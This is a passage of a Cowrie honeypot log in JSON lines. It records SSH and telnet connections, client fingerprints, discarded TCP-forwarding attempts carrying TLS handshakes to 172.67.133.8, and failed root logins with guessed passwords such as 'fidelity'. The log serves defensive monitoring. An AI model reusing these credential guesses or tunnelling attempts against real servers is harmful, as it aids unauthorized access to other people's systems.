deflate\\r\\n\\r\\n_=OGNhJXptTCsoTTcrP0s%2BdQ%3D%3DWhBPC%2F1oabVjwgG90vMtZbjRK18JdMvsWUWdTG4%2BOSYcU7mnCxlQajF%2BaENLe%2B%2ByLNq0i8UYFJgRWsRYHMl0T%2BmDKhy9Ub52ccAAAWVCgQ8k7%2Fis2Ag0D70MwD%2Bgk3T%2Fh1X7eeU75TZEkrtj3jNW%2Bsf2HAYUfTG4VmIvUTgppt07TaKgITAx%2F%2FRLzfFCR5zHBltWXbrJ0cHr1o%2Fc9E9RRoxGuOpe3O502%2BTfThogTj5BvqdWTxS28eHUWtvZ6ltvTVlILFtwds3QMN0Z9aOrpjibRxftWXJICDsuLfqT38RB56xk0FqFPrAn3eNUNkwFMSJUux32Oext%2BKsHFeEeePEDzbGhY%2FOgp1Bm0QzoUXT15T3Ymz2E5xuJjCcmYzB8fPz48tjNdtJMMaeX39HyI2%2FJV7rplvQKPhx9NBpwqVP2ZSlraNTA5zOLQtnAzG6DJB0WJQoQu5Q8lT0dB66JXfkIfEeIz16rS9v1jx2uLYif59IeByBZxLEqcbp3dbnevHbxQhkwmB%2FGcSQPwujLpwGzx1I5OopFMjhfBuQG%2BzFZP6iV0VR%2BqJkYqSa%2FfiXaZeH47QsOBhJtp7t0c1baG1yEd6G%2FhMhD01fNMbVyzMGGTCuyhvsXlC6tjx%2FeB1TyWC8Qnh66qRXfVTGQzGjxNoXaO6EbIMqgXuqVQ%2BwCT2pn6xLWhhYWaCIE8mGstAwmRQ58f6q4VeZbKVdANK7f9uf71cWSH5BKYZbL2V6kDACW8KNp17t3P79jHhQie2NXV0KFVc4KbjU4AcXHN4gwEZAzTzMw60LGQoLmf0gmsTFSfpTBM%2BgqvOqdQwMWAhPDdtwnaYrWo4HXxYc%2F47S1XsaqW0%2BqQtwTjkj7QAs2cWtIHjXJjLtus%2F5ZKH9eloyNrEo%2BeZE5FsRA%2FNAka2JZl%2FcFWOYvooscmzPskMplzATamiVzS9%2BXf9fveX%2BpK0kwDA%2BKkCO%2FdSzgg0MjRJEwTjkhbQZGFpHkAFAHmKN9hOz%2Bfn%2FmUVRdtunOVLsco53ZZ04fzf34DL32gBL9Y8gao6cHQy7ffvDifMQRxsmTR7c%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:55.899942Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:56.168816Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8\\xf3;?M\\xd2\\x1eD\\xffl\\x90\\xab\\xe0\\xaaK \\x95\\x01\\xa6\\x8a\\xcd\\xd5\\x80\\xc3\\xc2\\x8d\\xf3|\\x91;\\x88' \\x02\\xa4\\x9a\\x1aP\\xefXjs\\x98\\x13\\xf2\\xbd\\x8fZm\\x98\\x01X/8\\x81S<\\n\\xa6\\xb4K|\\x8c\\x02\\xac\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 F\\xa2W\\x07\\xb3\\x0b\\x96R\\x1c8\\x06R\\xfbWv\\xc5\\xcf3\\xbf\\xd1n.ea}_\\x7f@\\xb3.\\xeb'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8\\xf3;?M\\xd2\\x1eD\\xffl\\x90\\xab\\xe0\\xaaK \\x95\\x01\\xa6\\x8a\\xcd\\xd5\\x80\\xc3\\xc2\\x8d\\xf3|\\x91;\\x88' \\x02\\xa4\\x9a\\x1aP\\xefXjs\\x98\\x13\\xf2\\xbd\\x8fZm\\x98\\x01X/8\\x81S<\\n\\xa6\\xb4K|\\x8c\\x02\\xac\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 F\\xa2W\\x07\\xb3\\x0b\\x96R\\x1c8\\x06R\\xfbWv\\xc5\\xcf3\\xbf\\xd1n.ea}_\\x7f@\\xb3.\\xeb'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:56.171674Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:56.713062Z","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:56.989654Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9GZ|\\x98$\\x9c\"\\x01\\xcb\\xcb\\xa8$\\xd0\\x9a\\x0b;s\\xc0\\x15:4\\x96\\xad8-\\xa7\\xe5\\xbbQ\\x8c\\x99 \\xbd\\nX\\x8f\\x9e\\xa2%M\\xca0e\\xf09\\x1dA`\\xdc\\x92]\\xf3!9\\x81\\xa2\\xe9\\xff\\x8d\\xf8/\\x8c\\x91\\x14\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfbnI\\x9a\\xf5\\xaf\\t\\x80N6\\x89\\xb0yG/L[\\xbd\\xd9\\xba\\xe9\\xaea\\x04\\xee\\\\\\xac$\\xf4\\x00CT\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9GZ|\\x98$\\x9c\"\\x01\\xcb\\xcb\\xa8$\\xd0\\x9a\\x0b;s\\xc0\\x15:4\\x96\\xad8-\\xa7\\xe5\\xbbQ\\x8c\\x99 \\xbd\\nX\\x8f\\x9e\\xa2%M\\xca0e\\xf09\\x1dA`\\xdc\\x92]\\xf3!9\\x81\\xa2\\xe9\\xff\\x8d\\xf8/\\x8c\\x91\\x14\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfbnI\\x9a\\xf5\\xaf\\t\\x80N6\\x89\\xb0yG/L[\\xbd\\xd9\\xba\\xe9\\xaea\\x04\\xee\\\\\\xac$\\xf4\\x00CT\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:56.992235Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:57.341266Z","src_ip":"113.164.152.20","session":"0becc38520ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50728,"dst_ip":"159.203.135.109","dst_port":22,"session":"4660e54eafae","protocol":"ssh","message":"New connection: 62.133.62.83:50728 (159.203.135.109:22) [session: 4660e54eafae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:14.956300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:14.960697Z","src_ip":"62.133.62.83","session":"4660e54eafae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:15.040414Z","src_ip":"62.133.62.83","session":"4660e54eafae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fidelity","message":"login attempt [root/fidelity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:15.286572Z","src_ip":"62.133.62.83","session":"4660e54eafae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:16.368051Z","src_ip":"62.133.62.83","session":"4660e54eafae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46030,"dst_ip":"159.203.135.109","dst_port":22,"session":"379e1a337933","protocol":"ssh","message":"New connection: 27.71.230.31:46030 (159.203.135.109:22) [session: 379e1a337933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:25.215247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:25.269200Z","src_ip":"27.71.230.31","session":"379e1a337933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:26.704803Z","src_ip":"27.71.230.31","session":"379e1a337933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60048,"dst_ip":"159.203.135.109","dst_port":23,"session":"07aa6c75ee0f","protocol":"telnet","message":"New connection: 128.199.8.54:60048 (159.203.135.109:23) [session: 07aa6c75ee0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:28.679529Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":47838,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc4aa2ccd0bd","protocol":"ssh","message":"New connection: 80.66.85.226:47838 (159.203.135.109:22) [session: cc4aa2ccd0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:31.684966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:31.689428Z","src_ip":"80.66.85.226","session":"cc4aa2ccd0bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:31.778364Z","src_ip":"80.66.85.226","session":"cc4aa2ccd0bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cvetlana","message":"login attempt [root/cvetlana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:57:32.046544Z","src_ip":"80.66.85.226","session":"cc4aa2ccd0bd","protocol":"ssh"}
